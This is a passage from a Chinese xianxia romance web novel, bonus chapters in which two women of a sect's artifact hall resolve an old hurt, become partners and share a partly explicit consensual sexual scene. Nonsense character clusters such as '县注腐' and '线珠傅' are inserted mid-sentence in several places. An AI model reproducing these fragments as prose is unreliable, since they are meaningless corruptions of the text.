原以诗唇角扯出一抹弧度:“给宗主的说明,明日前送到器物堂。” “好咧,”杜寻雁从袖子中摸出早就准备好的三张纸,“来,白师姐,这封慕师妹写的说明给你,裴师姐,这封云师妹写的说明你拿着。” 裴依宁垂眸,纸页上的内容的的确确是云榆的字迹。 她:“……” 到了第三封,杜寻雁谄媚地递到原以诗面前:“这张是我写的,原师姐收好。” 风浅念笑出声:“杜师妹这是早就准备啊。” 杜寻雁“嘿嘿”笑了下:“几位师姐不怪罪就好。对了,别忘了过几日剑法阁的符纸,丹药和器物啊。”她指了指剑法阁的方向,“剑法阁还有事,师妹我就先走了。” 原以诗看了眼手中的纸页,太阳穴跳得更快了。 裴依宁和白清凡告辞离开后,风浅念捻起那张纸页,上上下下地看过,笑道:“杜师妹的字迹还是一如既往。倒是能认出来,也算是进步了。” 原以诗神情好了些:“她的这股聪明劲但凡放在别处,也不至于写成这样。” “好啦,”风浅念主动牵住原以诗的手,给对方顺毛,“也不是什么大事,况且杜师妹认错态度良好,”她打趣着说,“她许久前还总喜欢找你比试,现在倒是成熟许多,有了师姐的样子。” 原以诗反手握住风浅念的手:“嗯。” 回到洞府内,原以诗皱着眉头辨认杜寻雁的字迹,而后还是看不下去的揉成团,扔到一边,取出新的纸页。 欲要下笔时,她顿住,强忍着捡起那团纸页,展开,照着上方的内容,重新誊抄了一遍。 风浅念半弯下身,手心支着下巴,看原以诗写。 一炷香后,原以诗放下毛笔,长呼一口气:“明日送去给宗主便是。”她记起堂主最近几日要出关的事情,“这些不能让堂主看见,晚些让丰师妹去趟执法堂,将这些记录销毁了。” 风浅念正有此意:“好,我稍后传音给丰师妹。” 原以诗总是面冷心热,内心远不及外面看上去的冷硬。 不想此事影响堂内师妹们被堂主责罚。 “原师姐,”风浅念拾起原以诗写下的纸页,夸赞道,“你的字同你的人一般。” 原以诗:“嗯?” 风浅念道:“都很好看。” 肉眼可见的,原以诗的耳尖泛起浅淡的红色,她欲盖弥彰地别过头去,声音低了几分:“是吗?” 风浅念唇角弧度扬起,两只眼睛弯下:“是的,我很喜欢。” 很喜欢。 原以诗猛地回过头,视线紧紧黏在风浅念身上,而方才说很喜欢的人好似没看见般,将纸页折叠好,收入空间储物中。 再一抬头,瞧见原以诗不加掩饰的目光,她笑着道:“原师姐?” 原以诗咽了下,不知道风浅念那句话到底是简单的夸赞还是某种程度的暗示。 她私心于后一种。 风浅念不是那种明知道别人喜欢她,还会用似是而非的话语回答别人话的人。 她呼吸僵滞,鬼使神差的,她双手轻轻按住风浅念的肩膀,将其正对着自己,很轻很柔的哄着对方将方才的那句话再说一遍:“浅念,你刚才说什么喜欢?” 风浅念故作疑惑地:“喜欢原师姐的字啊。” 原以诗舔了下唇,眼底有失落划过,但被她很好的隐藏住,她问:“只是喜欢我的字吗?” 呢喃地声音几乎听不见,但风浅念修为高深,怎么会听不见。 瞧见这样子的原以诗,她忽地心疼起来,张开双臂,主动抱住面前的人:“当然不止。”她顿了下,“但我还没有消气,晚点再告诉你。” 原以诗:“什么?” 她做了什么让风浅念生气的事。 作者有话说: 原以诗:??? 第106章 风师姐和原师姐(三)[番外] 风浅念当然不会告诉她。 自那日以后, 原以诗日思夜想到底哪里惹得风浅念生气了。但纵观上次长闭关出来后的十余年,她都不曾对风浅念说上一句重话。 向来冷静自持的人难免有些急躁,她看着面前颜色逐渐加深的炼器炉,眉头拢起一座小山。 被她盯着的那顶炼丹炉的师妹战战兢兢地缩起身体, 胆战心惊地开展每一步动作, 当察觉到原师姐面色变化时,心顷刻间提到了嗓子眼。 立马回身检查先前的步骤。 没有一步错漏。 但原师姐的表情不会说谎, 她再次检查了一遍, 还没没有错漏。 又看向原师姐,眉宇间的小山还在。 她开始检查第三遍。 就在这时, 原以诗淡漠的声音传入:“你在做什么?” 那师妹颤抖了下:“我……” 她欲哭无泪,总不能和师姐说, 她检查不出哪个步骤出错了吧。 前段时间的考核历历在目,她不要过回那样的日子。 原以诗眉头舒展:“继续炼制,灵力把握的很好,不要分心。” 说罢,她迈步离开。 那位师妹:“好的, 好的, 原师姐。” 不对, 原师姐方才看着她的炼器炉想的不是这个? 那位师妹有种劫后余生, 又有种不知所措的感觉。 原以诗在炼器殿转了圈, 指点过师妹们的炼器, 随后前往风浅念自成一间的殿阁内寻找对方。 此刻,风浅念正在修复一柄锈迹斑斑, 受到侵蚀, 遍布黑斑的古剑。 剑体内原主人注入的灵力所剩无几,勉强维系这把灵剑不至于消弭于世间。 风浅念擒着剑柄, 聚精会神地观察这把灵剑,全然没有注意到殿门开合,以及进入其中的人。 忽地,在一股铁锈味和淡淡的血腥气被中和,她嗅到一丝清雅的香,很好的冲淡了另外两种难以接受的气息。 风浅念头也不抬地:“原师姐,这柄灵剑你看过了吗?” 她张开五指,接触到剑柄的肌肤凝成数条黑色纹路,残存在剑体内部的侵蚀之力转移一部分至她的掌心。 很快被风浅念体内的灵力逼出,掌心黏到的铁锈和血腥气还在,她将古剑放回剑托,习以为常的摸出一张手帕,边擦拭手边道,“前日杜师妹来堂内领取下月的例行器物时,一并送过来的。” 她视线在古剑上扫过一遍:“她说是剑法阁几位师妹外出历练,从一处秘境中带出来的,但上面的腐蚀之力太强,让我们帮忙去除下。” 距离杜寻雁将她们三大峰阁的违反项送到宗主面前不过五六日,就又敢让她们帮忙处理这些东西。 原以诗在剑柄处搭上一块手帕,随后才是拿起,片刻后,她放下:“晾晾她。” 风浅念失笑:“原师姐,杜师妹若是知道了,恐怕又要来找你麻烦了。” 杜寻雁纠缠人的功力太强,少有能招架住的。 原以诗淡淡地:“她来便是。” 话虽如此,但当风浅念重新拾起剑柄,往剑体注入灵力时,原以诗自觉地抬起指,没再隔着一层手帕的阻隔,直接将灵力注入其中。 剑体内保留着原主人的灵力,对于陌生灵力的侵入极为抗拒,剑鸣声响彻殿内。 尖锐地刺得人脑袋疼。 风浅念道:“原师姐,我来炼化里面的腐蚀之力,你将原主人的灵力和剑体控制住。” 无需风浅念多言,原以诗已将这二者禁锢起来。 风浅念屏住呼吸,汹涌的灵力灌注其中,剑身隐藏的铭文被逐一点亮,她眯起眼睛,自无数根细小的纹路中寻得黑色线条游弋的一段,灵力包裹而上。 伴随着浓重的说不清的气息,黑线肉眼可见的变淡,直至归于虚无。 原以诗曲指抵在鼻间,在风浅念收回灵力的同时,转手将剑柄握住,朝着炼器炉扔去,剧烈的火焰自炉内升起,火舌舔舐卷起古剑。 她的瞳孔中映出熊熊燃烧的焰火,在炼器炉关闭的瞬间,火焰如潮水般散去,她转头对向风浅念:“差不多了,晚些时候再来取。”县注腐 风浅念微微颔首,刚要回答,她的手腕被人挑起,原以诗不知从哪里弄得一只沾有水的手帕,正细细擦拭她的手指。 连指缝都没有错过。 她垂目认真时不似面对外人的冷冰冰,有了温度和想要亲近的感觉。 风浅念在私下时常能见到这样的原师姐。 她不由得弯下手指,存有逗弄的心思,让面前人擦拭的工作难上几分。 原以诗动作不停,只当她是无意,擒着风浅念腕骨的手下滑至掌心,将弯下的长指抵指。 但风浅念偏生不如她的意,依旧弯着。 若说原本还看不出对方是故意的原以诗就算是再迟钝也当发现不对了。 她掀起眼帘,捏住风浅念的指腹向上抬起,湿润的手帕收起,她改牵住风浅念往殿内角落走去。 那里存着一小方池水。 风浅念亦步亦趋地跟上:“原师姐比我还要了解我的炼器殿物体摆放的位置。” 这人狡黠的意味太过明显,原以诗脚步顿住一瞬,自然地接下:“这位置是我选出来的,我怎会不知?” 起初放置水源的位置并不在此处,而是在殿门一侧的角落,但因着炼器炉和平日的器物摆放在正对方向,来去有些麻烦。 这炼器殿打造时未能考虑这些,事后要改也麻烦,风浅念无意为难她们,但原以诗出关后见到,亲手动手挑选场地,另行开辟整理。 风浅念:“也是。” 双手浸入水池中,原以诗凭空取出两粒白球含在掌心,自风浅念后方穿入,包裹住对方。 那两粒白球入水即化,在揉搓中浮现一层泡沫。 原以诗仔细为风浅念清洗,引得后者笑道:“原师姐,我会洗手。” 原以诗镇定自若:“我知道,但我想要帮你。” 风浅念眉宇间挤满笑意,洗好后,身后人变戏法地掏出一条干手帕,将她的手擦干。 风浅念顺势转过身,后腰卡在水池边,纤长的手指点在原以诗的小臂处:“原师姐今日可是想到我念念不忘的点了?” 原以诗道:“生气的点吗?” 风浅念弯唇:“也可以这么说。” 原以诗薄唇紧抿,诚恳地摇头:“没有。” 她那双眼睛过于干净,表情过于清冽迷茫,让人挑不出错的点:“浅念,你可以给我点提示吗?” 风浅念回过神,莞尔:“我那日不是给过师姐提示了吗?” 原师姐,你小时候好凶呐。 原师姐小时候最常跟我说的话是,不要随意碰我。 她的提示还不明显吗?聪明如原师姐,怎么会想不到她话语中的意思你呢。 风浅念想着想着,又忍不住弯下唇。她抬眸,原以诗越发不解的神情很好地取悦了她。 她轻轻推开挡在身前的人,记起那日原师姐将下巴搭在她掌心的触感。 她再次抬起手,手指勾动。 原以诗也想到那日的事情,试探地先将手搭上去。风浅念没反应,于是,她小心翼翼地将下巴靠在女人的掌心。 清晰可见的,风浅念唇角的笑意加深,她勾弄几次原以诗的下巴:“原师姐,每每这样,我都有种大逆不道的感觉。” 原以诗小幅度地仰起头:“为什么?” 风浅念再一次提醒:“因为小时候,我真的很怕你,但也真的很想获得你的认可。” 那时的原以诗就已经是器物堂的标杆性人物,无数师妹想获得她的夸赞,风浅念自然也不例外。 可原以诗极吝啬这些,炼制的再完美的器物,也不过是一句“可以了,试试单独炼制别的,有不懂的过来问我”。 称得上是极为冷漠。 “像现在这种事情,”风浅念又挠了两下原以诗的肌肤,略有不舍的松开,“我以前可不敢这般……冒犯你。” 原以诗:“你若是喜欢,随时可以。”她停顿下,继续道,“你想对我做什么都可以。” 风浅念绕过她:“原师姐,我会当真的。” 炼器炉内的古剑这会已经炼化小半,风浅念感知了会,将炉内灵力收回一些。 古剑内残余的灵力需要留存下,持续大量的灵力会让古剑剑身与剑内不平衡,从而导致古剑碎裂。 原以诗慢半拍地跟上去,仍旧没能知晓风浅念生气的点。 浅念给她的提示从何说起,她回忆那日的交流,绞尽脑汁地逐一回味,来来回回,翻来覆去。 却仍旧一无所知。 她也曾想到风浅念说的她小时候好凶的事,但这都是百年前的事情了,风浅念不至于记这么久。 到底是什么? “以诗。”一道拔高的音调将她的思绪拉回,原以诗猛地抬起头,对上不远处捻起一枚器物的堂主,心跳骤然加快。 她竟然在和堂主汇报堂内事物的间隙走神了。 器物堂堂主一身极其淡雅的青绿色,眉眼清淡,不施粉黛,周身透着柔和的气息。 多少年的耳濡目染,却只有风浅念继承了女人身上这份温和柔顺的气质。 器物堂堂主把玩捏着的器物:“你在想什么,喊了你几声都没能听见。” 堂主是自幼看着她成大的,在对方面前,她可以安心倾诉自己的不解和困顿,不止是炼器上的事,还包括感情上的。 她迟疑地道:“我遇见一件自己寻不到答案的问题。” “让我猜猜看,”堂主竖起手指抵在唇边,“是与浅念有关?”弦逐副 原以诗:“您料事如神。” 堂主摇摇头,说起出关后无意间撞见的一件事:“这些时日,堂内许多人在押你和浅念会不会在一起,什么时候在一起,你知道吗?” 原以诗:“略有耳闻。” 不止是堂主,她也撞见过几次,那些师妹看见她,像是兔子见到狼般,跑得飞快。 堂主不禁觉得好笑:“都这么久了。” 是在说这十余年的时间。 原以诗苦涩,十余年对于修行者算不得久,有时只是一场闭关,但在她明确表露感情后,每一日都变得无比悠久。 堂主道:“浅念那边怎么说。” 原以诗沉默片刻,将炼化古剑那日的事去掉部分后说了遍,她抱有希望地想从堂主这获取经验:“她说给过我提示。” 堂主曲指点在一枚小矿石上,表面凹凸不平的纹理硌得有些疼,她索性放下这枚矿石。 “提示?”堂主慢条斯理地重复一遍,长而翘的睫毛轻盈颤动,久远的记忆映入脑海。 那是她将待在原以诗身边十年之久的风浅念带回到身边的事。 彼时出落的越发水灵的女生沮丧地问她:“堂主,我是不是很笨。” 她觉得怪异,安抚过女生后,询问缘由,可女生怎么都不愿意说,她只能作罢。 晚间,她同风浅念一同吃饭时,女生眼眶泛着一层还没散去的红润,脸颊挑着一抹绯意,恹恹地扒拉着饭。 这是她第一次见到风浅念那副样子,也是最后一次见到。往后的百余年,风浅念面对任何人都是笑意盈盈的,永远怀揣善意。 所以,她对这件事记得极为深。 那时她猜测风浅念的情绪变化与原以诗有关,但风浅念不说,原以诗也没有变化,她不好追问,便任由这件事过去了。 如今结合风浅念突然提及到的小时候,她轻而易举地捕捉到关键所在。 “百年前,我接浅念回来那日,可曾发生过什么?”堂主问。 原以诗蹙眉:“我记得那日,她向我展示高品阶器物的炼制。她很开心地抱住了我。” 堂主有了些许头绪:“然后呢?” 电流在大脑中穿行而过,风浅念那日含着笑意的话语荡起,她瞳孔猛地睁大,不由自主地说出那句:“不要随意碰我。” 堂主不明所以:“什么?” 原以诗喉咙滚动,无力地解释:“她抱我后,我说了这句。” 堂主哑然:“在她满怀喜悦的和你分享这件事的时候,你说了这么一句?” 她想把这位亲传的脑子打开看看,里面究竟是怎么想的。一切都说得通了,风浅念本就心思细腻,这句话能让她记百年,想来对她的伤害不小。 她叹息:“若我是她,还肯跟你心平气和的说话就不错了。也就浅念性子好,还能……” 她不打击自家亲传了:“她介意的点大概便是此,你自己好自为之。” 原以诗恍然大悟,拱手:“多谢师尊教诲。” 她欲要离去,堂主本要叫住她,但转念一想:“算了,这么多年了。平日里那般沉稳的人,这会知道心急了,”她自空间储物中取出一张纸条,看着上面的内容,自言自语,“赔率好像不高。” 她传音给丰寻春。 不多时,丰寻春赶到:“堂主。” 堂主摆摆手,止住她的礼:“你去帮我押,以诗和浅念七日内会在一起。” 丰寻春一愣,下意识道:“还押?堂主,你都赔多少了?” 说完意识到不对,她连忙止住,垂下脑袋:“堂主,押多少?” 堂主瞥她:“十万枚灵石,将过往押赔的都赚回来。” 丰寻春:“是。” 殿内只剩下她一人,堂主喃喃:“毫无用处的直白。” “不过七日应该能成吧,否则又要亏十万枚灵石了。” 风浅念看向原以诗的目光,不可谓没有别的念头。如今原以诗找到风浅念介意的点,应当可以了吧。 堂主觉得自己押得有些早了,应当再等等。 但丰寻春的速度极快,这个时候,应该传音告诉她:【堂主,已经押完。】 堂主回音:【隐蔽点,别让宗主发现了。】 另一边,原以诗步履匆匆地赶到风浅念的洞府,心脏剧烈的撞击,她的呼吸极速加剧。 对于近在咫尺的石门,竟然生出一丝畏惧。她咬住下唇,重重地闭上眼睛,复又抬起手,曲指在石门上不轻不重地敲了三下。 数秒后,石门自内而开。 “原师姐,”意料中的人,风浅念不意外地地笑了笑,“师姐这么急着过来,是有什么话要对我说吗?” 猜到她难以忘记的点了吗? 风浅念等待着。 原以诗舔了下唇内,身体因为紧张微微颤抖,她努力地平复急躁的心思,惯常的冷静在这刻寻不到半点踪迹。 她颤声道:“对不起,浅念。” 风浅念唇边的笑意僵滞凝固,而后一点点地收敛:“怎么了呢,原师姐?” 原以诗道:“对不起,那日我不应该说出那么让你难过的话,”话出口后,她的自持回来了些,紧张得到克制,她上前半步,轻轻抱住滞在原地的人,“你真的很厉害。” 她将那时没能夸出口的话说出,“十年的时间便能独立炼制出高品阶的器物。” 风浅念静默。 原以诗道:“浅念,对不起,别生师姐的气。师姐任由你惩罚,怎么样都可以。” 风浅念感知着胸腔贴合处的跳跃,她弯下唇,诉说当时的情绪:“原师姐,当时我真的好委屈啊。你是我第一个展示的人,那次后,我好久都不敢再炼制高品阶的器物。总觉得炼制成功与否,都会听见你那句冷淡的话语。” “怎么办,原师姐,是不是觉得我与你认识的风浅念不一样,”风浅念拉开两人间的距离,“我有时候就是这么记仇。” 原以诗:“不,你什么样最好的。” 若是不在乎,怎么会将如此久远的事记在心头。 原以诗说不上是庆幸还是苦涩,她想穿回到那个时候,将那句混账话收回,好好的鼓励那个满怀欣喜的人。 风浅念释怀地叹息一声:“原师姐,恭喜你,我气消了。” 原以诗扯了扯唇角:“好。” 在外偶有师妹路过,风浅念将原以诗拉入洞府内,关了门,续上那日晚些再告诉她的话:“原师姐,我不止喜欢你的字,还喜欢你的人。” 她牵着原以诗的人,带着放在自己的心口,说出十余年前的差不多的话,“我很感谢你的喜欢,”她一字一顿地说,“现在,我可以收下你的喜欢吗?” 她问:“原师姐,要继续喜欢我吗?自从前到现在,再到未来,都只喜欢我一人。” 原以诗紧紧攥着她的手:“只喜欢你。”她郑重地回应,“浅念,我只喜欢你。” 所有的等待在这一刻有了结果,无法用言语描述的喜悦在炸开,原以诗拥入面前之人,埋首于女人的肩膀。 温热的触感告诉她这一切都是真实的。 风浅念回抱住她:“原师姐,我也只喜欢你。” 长久的拥抱让原以诗舍不得松手,全身都是风浅念的气息,十余年积攒的想念在这这刻悦然而出。 她很小声地询问怀中人:“浅念,我们现在算是什么?” 除却师姐妹的关系,是否还能再增加一层别的关系,例如…… 她想让风浅念说。 而风浅念如了她的愿,主动问她:“原师姐,要不要和我结成道侣。” 原以诗:“嗯。” 她太想要了,她甚至想要在这一刻,就拉着风浅念前往遇情堂,将两人的名姓刻在遇情石上,让宗门所有人都知道她和风浅念的关系。 她和风浅念道侣的关系。 她本不是炫耀的人,可在和风浅念结为道侣这件事上,她忍不住的想要昭告全宗。 她的占有欲可以正大光明地显示出来:“浅念。” 风浅念回应她:“原师姐,我在。” 原以诗轻轻挑起她的下巴,她克制着心底的念想,依旧征求面前人的意见:“浅念,我可以……” 她不知道该怎么说出来。 风浅念好笑:“原师姐,你是不是除了直白的向我诉说喜欢外,其她的什么都不懂啊。” 原以诗:“我……不是。”她说,“我担心你觉得太快了。” 毕竟才刚确立道侣的关系。 风浅念歪头,若有所思地:“嗯……十余年了,算不得快吧。” 外出历练,在宗门内的日常相处,她们早已不是道侣,胜似道侣。 风浅念:“原师姐,可以像你之前那般直白。” 原以诗:“浅念,我可以亲你吗?” 风浅念:“好直白啊,原师姐。” 作者有话说: 原师姐:你说直白点的 风师姐:太直白了 猜猜谁攻谁 第107章 风师姐和原师姐(完)[番外] 风浅念洞府内最多的便是各种器物, 许多炼制不错的小物件被她拿回来用做装饰,温馨而别致。 她无意中往后仰了些,自然而然地撑住后方的石门,长腿微曲, 笑意融入眼底, 荡漾出一池几乎要溢出的春水,温润的眉宇间晕染朦胧。 她歪过头, 灵动的眸子一瞬不瞬地注视着不过咫尺的女人, 许是觉得对方那句话说完就怔在原地有些好笑:“原师姐?” 她出声提醒对面:“可以啊。” 很清脆的音调,原以诗指骨绷紧, 她极力放松身体,一点点靠近风浅念。 淡雅的清香先于体温被感知, 原以诗不由得放轻了呼吸,喉咙不安的滚动,她侧过头,似触非触地在风浅念脸颊落下一吻。 如一阵微风,掀不起水面波动。 她伏在风浅念身前, 清冷的面容染上可以窥见的红意, 纤长的指搭在风浅念两肩, 不动声色地舔了下唇, 低声道:“还能再亲一下吗?” 风浅念莞尔:“都可以。” 方才的那一吻, 她都不曾感知到, 像是碎发从肌肤上柔柔地刮过,惊起微不足道的痒意。 征得同意, 原以诗再次探过头, 试探性地碰上风浅念的唇。 细腻柔软的触感在感官中无限放大,原以诗情不自禁地圈住风浅念的脖颈, 一下又一下地浅尝辄止。线珠傅 风浅念被她的珍视感动,也被她的笨拙逗笑,当原以诗又一次要离去时,她摁住女人的后脑。 在对方惊愕的视线中,五指陷入对方的发丝中,清浅的声调因着低吟多了几分别样的意味:“原师姐,只是这般,你要亲到什么时候?” 原以诗脖颈间的美人筋跃跃欲试地凸起,跳动,热气使得她脸上惯常的冷意散去许多,有种别样的可爱。 她支支吾吾说不出话:“浅念,我……” 风浅念笑着问:“原师姐,这么多年,你一点都不曾学过,或是在书中看过吗?” 原以诗无事怎么可能会去看相关书籍,更不可能特意去学习,如今被问,她生出挫败感,迟疑地:“我吻得很差劲吗?” 该直白的时候不直白,不该直白的时候倒是直白极了。 风浅念无可奈何地笑出声:“没有,”她有意在这个时候打趣女人,“许是师姐不许别人随意触碰,所以平日里不会在意这些。” 原以诗:“浅念。” 风浅念安抚性地挠了挠女人的发,曲腿抵住身后的石门,掀起眸子,指腹带了些力,另只手护在女人的腰身,随即,身子转动,两人的位置登时互换。 不待原以诗有所反应,风浅念轻轻将人推到石门上,掌心按在女人心口,将其禁锢在这一方空间内。 她说:“原师姐,我教你,”她贴身靠近,温热的吐息落在原以诗的耳边,“就像你小时候教我炼器那般。” 唇自女人耳边滑动,延伸到脸颊,随着时间的流淌,四片柔软的唇吻在一起。 不同于原以诗的浅尝辄止,风浅念是与平日温婉形象截然不同的强势。 空闲的手卡在原以诗的下颌,向上一抬,迫使女人启唇,舌尖肆无忌惮地舔舐在女人的唇面,试探性地往里伸了点。 原以诗僵硬地配合着,舌根被搅起,吮吸到发麻,又被温柔地含住,耐心地照料。 她渐渐得有章法,偏头回应。 “原师姐,”风浅念别开头,被她禁锢住的女人不依不饶地追着吻上她的脖颈,“原师姐不止在炼器上天赋异禀,在这上面也是一点即通啊。” 分不清是调侃还是真心实意,原以诗细细地吻着风浅念的下巴,不忘回复:“风师妹教得好。” 风浅念细指点在原以诗眉心,上半身向后倒了些,拉开两人的距离。 上扬的眼尾挑起淡色的红意,风浅念忽而想起考核时严肃的原师姐,与此刻原以诗的微喘红润叠加。 她的恶趣味展现出。 她想看看原师姐的另一面。 “浅念。”原以诗精致的眉头微微皱起,薄唇轻抿,难耐地抵住风浅念,无法言明的东西在血液中游走,无法发泄。 她牵住风浅念的手覆在小腹处,下坠抽搐感让她眉心皱地越狠:“我好难受。” 似乎只有面前人可以缓解她的难受。 原以诗想要紧紧拥抱住风浅念,揉进身体中,将那股难耐止住。学着风浅念吻她的样子,她含住风浅念的唇,鼻息间呼吸急促。 手下不停歇,拉着风浅念的指在衣衫外四处游走,顺着接吻的含糊,她说:“浅念,摸摸我。” 风浅念指尖轻颤,指骨弯曲:“嗯?” 原以诗低声诉说:“碰碰我。”她抬起一条腿,蹭在风浅念的腿侧,冷清的眉眼中注入不寻常的色调,“浅念,碰碰我。” 灵活地抽去腰间的束带,原以诗跌入风浅念的怀中:“让我感受你,浅念。” 生理上的反应她不至于不懂,过往午夜梦回时,她有过这般感受,只是身侧无人,她毫无杂念,常常依靠打坐去除多余的想法。 而今有人,她无需再通过打坐,捱过寂寞。 风浅念弯唇:“原师姐,你怎么可以这么可爱?” 她环住原以诗,吻上去,跌跌撞撞地往洞府内走去,时不时撞倒摆放的器物,叮叮咚咚声不绝于耳。 但这都无法打消兴头上的二人。 风浅念卷起原以诗的束带,平稳呼吸,扫过掉落一地的物品:“原师姐,这些你日后可都要赔给我。” 原以诗迷迷糊糊地:“嗯,赔。” 风浅念逗她:“十倍赔偿,可以吗,原师姐?” 原以诗:“嗯,好。” 风浅念笑:“把你卖了,还要帮我数钱呢。” …… 温度在升高。 坠落感越发的明显,原以诗眼神迷离地望着上方的人,朦朦胧胧地似在对方身上覆上一层重影,看得不清晰。 她伸手去抓,只落得一个空:“浅念,你……” 风浅念无辜地歪过头,看了眼下方的……之处,故作不知所措地:“师姐,不可以随便碰你吗?” 那张满是纯真的脸上写满真诚,让人挑不出错来:“我没有随便碰师姐,”她举起双手,光线下,指尖泛着晶莹的亮点,“我记得师姐的话。” 她故意在原以诗落入某个点时,抽身而出,迷茫地用百年前的话回应原以诗:“过往师姐禁止的事情,我都记得很清楚。” 原以诗额角不断跳动。 她印象中的风浅念何时变成了这副爱捉弄人的模样,她死死压着舌根,黏腻感挤满嗓子。 她扯住被单,青筋暴起,根根分明的指攥住风浅念的腕骨,维系的理智让她清楚地出声:“可以碰我。” 风浅念委屈:“师姐不是不喜欢被人触碰吗?” 这个时候开始翻旧账了,原以诗毫无办法。 她咬紧牙关:“喜欢你触碰。” 风浅念:“真的?” 原以诗顺着她:“真的。” 风浅念目的达到,不再为难下面的人,她扶住原以诗,唇凑近女人的耳边,轻轻咬住女人的耳垂,坦荡地:“原师姐,我故意的呢。对不起,我还是有些记仇。”她指下不停,搅动一汪水润,“总觉得这么轻飘飘的原谅你,对小时候的我不公平。” 她戳动的速度加快,原以诗牙关泄露出几声不成调的音。 风浅念道:“这次过后,我便再也不提及这件事。但这次,让我肆无忌惮一回,就当是你对我幼时的补偿。” 挤压,推拒,收拢,再到后面的动弹不得,风浅念自顾自地把控节奏,不受影响。 原以诗额间趴覆上一层细密的汗珠,发丝被打湿,碎发一缕缕地黏在肌肤上,她艰难地咽了下,想说什么,却因为强烈的感受不得不咬紧牙。 一旦张口,声音就会宣泄出。 她只能揉动风浅念的手臂,似在安抚。 “原师姐,”风浅念总归是心软,“若是哪里不舒服,你可以跟我说,”她顿了顿,又道,“或者给我更多的反应也可以,我能感觉到。” …… 风浅念深呼吸,她咬住下唇,隐忍地闭上眼,……空闲的勾起腰间束带,…… 她缓而慢地收手,靠近原以诗,吻过去。 上下一起。 …… 触感被放大再放大,风浅念胸膛起伏,气体汇聚在此,上下不得。 …… 带给原以诗快乐的同时,让自己也快乐。 乐曲交织,却又溃不成调。 不知过了多久,两人分开。 风浅念给两人使用了个净身术,随即看望呼吸尚未恢复的人起身整理衣衫。 等她穿好衣服,风浅念道:“原师姐,去清洗吗?” 原以诗洁癖严重,自是接下风浅念的话:“好,你可以吗?”她担心风浅念身体受不住,“我帮你洗。” 风浅念走到桌面抿了两口水:“为什么帮我洗?”说完,她意识到什么,不免觉得好笑,上下扫过原以诗,“不用,我自己来就好,但……” 她没再说了。 因为原以诗正朝她走来,继而在她的注视下,腿一软。女人眼疾手快地扶住一侧的小桌案,上方的几件物品被扫落一空。 风浅念快步而去,扶起女人,接下未完的话:“但原师姐需要我帮你吗?” 原以诗:“……不用。” 最后到底还是风浅念帮原以诗清理的。 事后,风浅念倒了杯水递到原以诗唇边,她扶着原以诗靠在自己肩膀上,手腕扬起,将水喂入女人口中:“原师姐,喝点水补充一下。” 原以诗记着别的事:“浅念,我们什么时候去遇情堂?” 风浅念:“明日可好?” 原以诗不情不愿:“太晚了,我们等会便去吧。” 她不想耽误下去了,虽然她现在的精力并不是很足,但出去一趟还是可以的。 风浅念想了想:“那等你休息会,我们就去。” 原以诗略一颔首。 半个时辰后,恢复得差不多的原以诗和风浅念一前一后出了洞府。 风浅念担心原以诗会摔倒,主动挽住女人的手臂。 她提前传音给遇情堂的人,询问这个时间,是否可以在遇情石上刻下名姓,在得到肯定答复后,她告知对方稍后会过去,麻烦对方不要太早将遇情石封闭。 昏黄的霞光打在两人的背上,延伸出的影子拉长到遥远的地平线。 巨大的石头内,两人的名姓化为两抹灵光,并排而列,进入其中。 望着并肩的人名,原以诗面上浮现笑意。 风浅念:“原师姐,我们回去吗?” 原以诗点点头:“嗯,回去。”她牵住风浅念的手,“回你那,还是回我那里。” 风浅念看她。 原以诗说:“总不能结为道侣后,再分住两间洞府,况且我们都是器物堂的人,不用跨峰阁,住在一起,今后也能便利许多。” 便利什么,风浅念不知道。 但她接受道侣的建议:“都行,换着住便是。不过今晚住你那里吧,我那里还没来得及收拾。” 各种器物倒成一团,不知有没有碎裂。总之要花费时间去整理。闲猪负 她狡黠地:“原师姐,别忘了要把这些东西赔偿给我。” 原以诗笑:“好,明日我亲自为你炼制。” 风浅念:“好,原师姐亲手炼制的,自是价值不菲。” 回去路上,不时遇见明越宗的弟子,在看见两人时,她们纷纷面露苦色地低下头,不愿见到她们般,偶有几位兴高采烈地,大大方方地喊:“风师姐,原师姐,两位师姐好啊。” 面对素来冷清冷脸的原以诗都这么欢快。 风浅念颇为好奇这些师妹们截然不同的反应,她拦下一位垂头丧气,眼神躲避的师妹,温声问:“发生什么事了,闷闷不乐的?” 面对这些师妹时,风浅念又恢复到温柔,善解人意的模样。 原以诗静静地望着风浅念,片刻后,忍不住弯下唇。 风浅念特殊的小脾气,仅有她能见到。 占有欲被深深满足。 “没什么,师姐。”那位师妹显然不想告诉,“就是单纯心情不好,我先走了,风师姐。” 她离开后,风浅念听见对方重重叹息声,嘟囔句:“没了,都没了……” 风浅念不明所以,她和原以诗对视一眼,后者摇摇头,表示自己也不知道怎么回事。 于是,风浅念揪住一位性情不错的师妹,问了差不多的问题。 那师妹笑嘻嘻地摆摆手:“没发生什么啊。两位师姐再见。” 怎么都不肯说明原因。 风浅念打算传音给丰寻春,问问她和原以诗不在期间,器物堂是否发生了什么。 但她们遇见的不仅是器物堂的人,还有其她峰阁的人,总不能明越宗发生了什么大事。 若真是,她们不至于收不到一点风声。 就在两人疑惑时,杜寻雁气势汹汹地以极快的速度怼到两人身前,气都没喘完,就停她连珠炮似地:“风师姐,你和原师姐什么时候确定在一起的,怎么突然就去遇情石上刻下名姓,”更重要的是,“我前几日来器物堂,师姐怎么一点没提及这些。我们这么多年的情分,不值得我比宗门内其她师姐妹提前知晓吗?” 她装模作样地揉眼睛:“我真的是太伤心了,风师姐,原师姐,我真的是太伤心了!” 她和原以诗在遇情石上刻下名姓不过两柱香的时间,杜寻雁竟然这么快就知道了。 风浅念温柔道:“你现在知道也不算迟啊。依宁和清凡她们还不知道,你领先她们许多。” 杜寻雁:“迟了,太迟了。” 从杜寻雁口中套话极为简单,风浅念眼睛转动,温和地说:“如何迟了,是想要给我和原师姐送礼物,准备个惊喜吗?” 杜寻雁:“没有礼物。” 她垮下脸,苦兮兮地转身,脊背佝偻,一步一挪地走,哪里还有来时的健步如飞。 看不上她这般萎靡不振的气息,原以诗叫住她:“杜师妹,”她声线如旧,带着冷意,“我和你风师姐结为道侣,你很不开心吗?” 杜寻雁打了个寒颤,连忙道:“开心,开心。” 原以诗:“那你这副模样。” 杜寻雁双手垂下:“因为我赌输了,一千枚灵石全部输完了!” 那可是一千枚,对于一个剑修来说,要存多久才能存到一千枚灵石,一日之间全无,她怎么开心得起来。 脑子一热,亲自跑来堵风师姐和原师姐,还让两人知道了这件事,她更加欲哭无泪了。 风浅念见过几次,这些人拿她和原以诗的事下赌注。怪不得方才有人欢喜有人愁。 